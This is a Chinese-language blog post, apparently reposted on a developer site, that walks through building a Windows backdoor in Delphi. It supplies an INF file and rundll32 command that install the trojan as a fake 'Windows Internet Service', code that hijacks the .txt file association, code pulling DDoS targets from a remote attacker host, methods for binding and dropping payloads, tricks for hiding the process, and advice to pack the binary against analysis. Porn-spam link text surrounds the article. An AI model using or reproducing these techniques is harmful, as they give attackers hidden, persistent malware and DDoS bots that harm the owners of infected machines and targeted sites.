麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 學(xué)院 > 開發(fā)設(shè)計(jì) > 正文

關(guān)于開發(fā)系統(tǒng)后門軟件的幾點(diǎn)思路

2019-11-18 18:03:30
字體:
供稿:網(wǎng)友
 

關(guān)于開發(fā)系統(tǒng)后門軟件的幾點(diǎn)思路
作者:Delphiscn(cnBlaster#sohu.com)
http://blog.csdn.net/Delphiscn
注釋:這只是一篇臨時(shí)的學(xué)習(xí)筆記

目錄
1、前言
2、系統(tǒng)加載
3、文件關(guān)聯(lián)
4、攻擊控制
5、文件隱匿
6、附言

前言
現(xiàn)在的系統(tǒng)后門軟件數(shù)不勝數(shù),但大都有一個(gè)通病,就是系統(tǒng)加載方面很容易被精明的老鳥們察覺。而且遇上類似“天網(wǎng)”或是“金山網(wǎng)鏢”的網(wǎng)絡(luò)防火墻基本上就沒戲了。前些天在網(wǎng)上看到了一篇名叫《Do all in cmd shell》的文章,里面關(guān)于程序加載的方式比較巧妙,對基于NT的2000/XP這樣的系統(tǒng)基本上已經(jīng)可以做到通用了。在此我用Delphi,并模仿一些經(jīng)典后門軟件的功能寫一個(gè)Backdoor,希望與各位高手共同交流編程經(jīng)驗(yàn),也算是復(fù)習(xí)一下以前學(xué)習(xí)的知識(shí):)

系統(tǒng)加載
讀到這里,估計(jì)很多朋友會(huì)立即聯(lián)想到HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和Win.ini中的Load。沒錯(cuò),不過從實(shí)戰(zhàn)角度出發(fā),現(xiàn)在再用這樣的啟動(dòng)方式已經(jīng)有點(diǎn)落后了。而且如果你的程序?qū)崿F(xiàn)的功能很多,但如果在啟動(dòng)方面出了問題,不是一件很郁悶的事嗎?在此,根據(jù) 《Do all in cmd shell》作者的思路,我們可以自己寫一個(gè)inf文件,利用這個(gè)文件配置一個(gè)系統(tǒng)服務(wù)程序。這樣,我們的后門就可以在不知不覺中,隨系統(tǒng)服務(wù)一起啟動(dòng)了。(不過此方案有一個(gè)局限性:只適用于NT/2000/XP)這里引用作者的原文:

現(xiàn)在,讓我們用inf來添加一個(gè)系統(tǒng)服務(wù)
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供對 Internet 信息服務(wù)管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%/inetsvr.exe
保存為inetsvr.inf,然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf(在這里我對原文做了點(diǎn)修改)
[注:%systemroot%是個(gè)環(huán)境變量,假設(shè)你的系統(tǒng)文件夾是C:/Windows,那么%systemroot%的路徑就是C:/Windows(一般為98或是XP)假設(shè)你的系統(tǒng)文件夾為C:/winnt,那么%systemroot%的路徑則為C:/winnt(一般為2K)]
這個(gè)例子增加一個(gè)名為inetsvr的服務(wù)(是不是很像系統(tǒng)自帶的服務(wù),呵呵)。
幾點(diǎn)說明:
1,最后四項(xiàng)分別是
服務(wù)類型:0x10為獨(dú)立進(jìn)程服務(wù),0x20為共享進(jìn)程服務(wù)(比如svchost);
啟動(dòng)類型:0 系統(tǒng)引導(dǎo)時(shí)加載,1 OS初始化時(shí)加載,2 由SCM(服務(wù)控制管理器)自動(dòng)啟
動(dòng),3 手動(dòng)啟動(dòng),4 禁用。
(注意,0和1只能用于驅(qū)動(dòng)程序)
錯(cuò)誤控制:0 忽略,1 繼續(xù)并警告,2 切換到LastKnownGood的設(shè)置,3 藍(lán)屏。
服務(wù)程序位置:%11%表示system32目錄,%10%表示系統(tǒng)目錄(WINNT或Windows),%
12%為驅(qū)動(dòng)目錄system32/drivers。其他取值參見DDK。你也可以不用變量,直接使用全路
徑。
這四項(xiàng)是必須要有的。
2,除例子中的六個(gè)項(xiàng)目,還有LoadOrderGroup、Dependencies等。不常用所以不介紹
了。
3,inetsvr后面有兩個(gè)逗號(hào),因?yàn)橹虚g省略了一個(gè)不常用的參數(shù)flags。
刪除一個(gè)服務(wù):
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很簡單,不是嗎?

下面的步驟就是要在Delphi中調(diào)用這個(gè)inf安裝服務(wù)。我們可以使用shellExecute這個(gè)函數(shù),具體用法為
shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf'),nil,nil,sw_shownormal);
我覺得這里的sw_shownormal有點(diǎn)不是很好,因?yàn)樵谶@個(gè)參數(shù)下。cmd shell的窗口是可見的,不知道你們有沒有什么好的辦法?但是,我覺得shellExecute函數(shù)有一個(gè)好處-------如果應(yīng)用程序找不到inf,在電腦屏幕上不會(huì)有任何的反映。簡單的說,就是不會(huì)報(bào)錯(cuò):)當(dāng)然,如果你不放心那也可以使用GetWindowsDirectory函數(shù)對inf文件進(jìn)行絕對定位,不過在這里我覺得好象沒有這個(gè)必要。
疑惑:在這里我們的共享類型ServiceType=0x10屬于獨(dú)立進(jìn)程服務(wù)。估計(jì)這個(gè)病毒要訪問Internet時(shí)會(huì)遭到防火墻的攔截。但是象類似svchost、lsass這樣的共享進(jìn)程服務(wù)卻不會(huì),如果我們把ServiceType的值改為0x20我想情況會(huì)有所改觀,不過在這里我沒有深入研究。

文件關(guān)聯(lián)
按照慣例,我們可以對txt文本關(guān)聯(lián)進(jìn)行修改,將注冊表中的鍵值指向我們的后門程序。下面這段代碼可以做到這一點(diǎn):)
var
  Backdoor: TRegistry;
  FileExt:String;
  FileType:String;
  FileDescription:String;
  ExecName:String;
  WinDir:String;
begin
  FileExt:='.txt';
  FileType:='文本文檔';
  FileDescription:='文本文檔';

  SetLength(WinDir,128);//獲取Windows目錄
  GetWindowsDirectory(PChar(WinDir),128);
  SetLength(WinDir,StrLen(PChar(WinDir)));
  ExecName:=WinDir+'/system32/inetsvr.exe';//這里的inetsvr.exe是我們的病毒程序

  Backdoor:=TRegistry.Create;//創(chuàng)建注冊表對象
  try
    Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注冊表根鍵
    if not Backdoor.OpenKey(FileExt, True) then Exit; //當(dāng)在注冊表中創(chuàng)建文件類型失敗時(shí)退出,一般是注冊表錯(cuò)誤
    Backdoor.WriteString('',FileType);//寫文件類型數(shù)據(jù)
    Backdoor.CloseKey;

    if not Backdoor.OpenKey(FileType,True) then//打開文件類型FileType關(guān)鍵字
      Exit;
    Backdoor.WriteString('',FileDescription);//寫文件描述數(shù)據(jù)
    if not Backdoor.OpenKey('shell/open/command', True) then//打開子鍵
       Exit;
    Backdoor.WriteString('',ExecName);
    Backdoor.CloseKey;//關(guān)閉關(guān)鍵字
   finally
    Backdoor.Free;//釋放注冊表對象
   end;
end;
這樣,只要用戶雙擊txt文件,我們的inetsvr.exe就會(huì)又跟著啟動(dòng)了。

攻擊控制
前些日子在網(wǎng)上看到了一篇關(guān)于用bat批處理文件控制病毒程序攻擊他人網(wǎng)站的一個(gè)例子。由于我對他的那個(gè)實(shí)例還沒有完全搞清楚,不過我們可以使用其他辦法來代替bat。下面我們來實(shí)現(xiàn)這個(gè)過程:
首先,可以申請一個(gè)主頁空間(假設(shè)為
http://www.attack.com/delphiscn)。上傳一個(gè)ipaddress.txt的文檔。內(nèi)容為192.168.0.1
這里的192.168.0.1為我們要攻擊的網(wǎng)站地址。
在Delphi中添加如下語句:
var ipaddress:integer;
NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
這樣,我們的程序就得到了要攻擊的網(wǎng)站地址IPaddress,而且這個(gè)IPAddress可由我們自己控制:)
接下來就是論到攻擊了,我們可以在程序中加入一段代碼。向192.168.0.1不停的發(fā)送數(shù)據(jù)包。造成遠(yuǎn)程服務(wù)器拒絕響應(yīng),也就是經(jīng)常提到的DDOS。當(dāng)然你也可以用類似Ping這樣的方法,由于比較簡單,這里就不再細(xì)述了。

文件隱匿
如果你設(shè)計(jì)的程序功能比較強(qiáng)大,也許不止一個(gè)可執(zhí)行文件,而且我們又不能象其他共享軟件那樣做安裝程序。其中最簡單的方法就是用copy/b setup.exe+run.exe set.exe這條命令把需要運(yùn)行的程序加載在前一個(gè)可執(zhí)行程序的后面,setup.exe文件的職責(zé)有兩個(gè),其一是顯示假象讓別人不知道這是一個(gè)木馬安裝程序,其二就是真實(shí)的目的從指定字長定位將木馬服務(wù)程序截取下來并運(yùn)行安裝,由于木馬服務(wù)部分采用了“隱形”技術(shù),所以根本不會(huì)被察覺,代碼部分就是定位拷貝,這里不在細(xì)述。還有一種方法是在資源文件RES中預(yù)先裝入木馬,并以數(shù)據(jù)形式存于當(dāng)前可執(zhí)行文件中,在合適的時(shí)機(jī)釋放即可。下面這段代碼可用于從RES中釋放指定的文件:
PRocedure runvirus(from:pchar;Fileto:String);
var
   tempdir:string;
   Buf:pointer;
   size:longint;
   h,ResHandle:Cardinal;
   zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
   tempdir:='';
      reshandle:=FindResource(h,Makeintresource(1),'DAT');
  buf:=Pointer(loadresource(h,reshandle));
   size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir+fileto);
    rewrite(zip,1);
try
    blockwrite(zip,buf^,size)
finally
       closefile(zip);
  end;
end;
資源文件test.rc制作如下:
* 內(nèi)容:   1    DAT      "test.exe"
* 制作:    BRCC32 test.rc
* 在資源文件中加入:
   {$R *.DFM}
   //加入test.RES,如果不加這一行,當(dāng)木馬釋放文件時(shí)會(huì)找不著資源而報(bào)錯(cuò),一定要注意這個(gè)問題:)
   {$R test.RES}
* 函數(shù)調(diào)用:
   if not Fileexists('test.exe') then runvirus('DAT','test.exe');
另外,附上幾個(gè)比較常用的小技巧:
任務(wù)管理器中的隱形:
我們可以使用清除標(biāo)題的方法:
program Project1;
uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
  begin
//此處設(shè)置標(biāo)題的清除
Appilcation.Title:='';
application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具欄上的隱形:
通過使用SetWindowLong函數(shù)即可:
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重復(fù)運(yùn)行:
在制作利用端口進(jìn)行服務(wù)的同時(shí),經(jīng)常要防止程序的重復(fù)執(zhí)行,因?yàn)橥环菘截愒谶\(yùn)行時(shí)會(huì)使用相同的IP地址和相同的端口,必然會(huì)產(chǎn)生沖突。所以,為了防止程序二次執(zhí)行。我們可以在程序啟動(dòng)事件里加入如下代碼:
假設(shè)我們的程序標(biāo)題為Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in 'Neverland.pas' {Form1};
{$R *.RES}
var
  hMutex:HWND;
  Ret:Integer;
Begin
  Application.Initialize;
  Application.Title:='Neverland';
  hMutex:=CreateMutex(nil,False,'Neverland');
  Ret:=GetLastError;
  IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
   Application.CreateForm(TForm1, Form1);
Application.Run;
  End
Else
  ReleaseMutex(hMutex);
end.

附言
通過上述改進(jìn),一個(gè)系統(tǒng)后門程序就已經(jīng)初具雛形了。當(dāng)然,如果您有興趣,還可以對其功能進(jìn)行擴(kuò)充。最后,千萬別忘了用ACPack對它加殼哦,這樣會(huì)增加他人反匯編的困難。如果您有什么好的思路或方法,歡迎與大家一起討論:)    

參考
《Do all in cmd shell》
 
http://www.hackeronline.cn/showart.asp?art_id=476&cat_id=7


上一篇:一個(gè)很實(shí)用的Ehlib排序函數(shù),適合ADO

下一篇:實(shí)現(xiàn)QQ窗體的縮入伸出功能

發(fā)表評論 共有條評論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
學(xué)習(xí)交流
熱門圖片

新聞熱點(diǎn)

疑難解答

圖片精選

網(wǎng)友關(guān)注

主站蜘蛛池模板: 久久久久久久久久久国产精品 | 国产精品久久久久久久午夜片 | 深夜激情视频 | 九九热久久免费视频 | 久久www视频| 中国免费一级毛片 | 午夜精品成人 | 精品成人免费一区二区在线播放 | 欧美日韩亚洲一区二区三区 | 七首小情歌泰剧在线播放 | 成年人福利视频 | 日本免费aaa观看 | 精品少妇v888av| 免费男女视频 | 欧美亚州| 成人免费看视频 | 成人毛片在线免费看 | 久久久久一本一区二区青青蜜月 | 国产精品99久久久久久久vr | 国产亚洲欧美视频 | 片在线观看 | 黄视频在线网站 | 亚洲电影在线播放 | 成人毛片100免费观看 | 精品一区二区三区免费毛片爱 | 精品久久久久久综合日本 | 欧美一区二区三区中文字幕 | 激情久久一区二区 | 国产日韩精品欧美一区视频 | 91在线精品亚洲一区二区 | 国产亚洲欧美在线视频 | 性欧美在线视频 | 国产精品久久久久久久久久久久久久久久 | 黄色伊人网站 | 国产正在播放 | 国产理论视频在线观看 | 久草在线看片 | 轻点插视频 | 免费在线观看亚洲 | 校花被肉干高h潮不断 | 欧美18—19sex性护士中国 |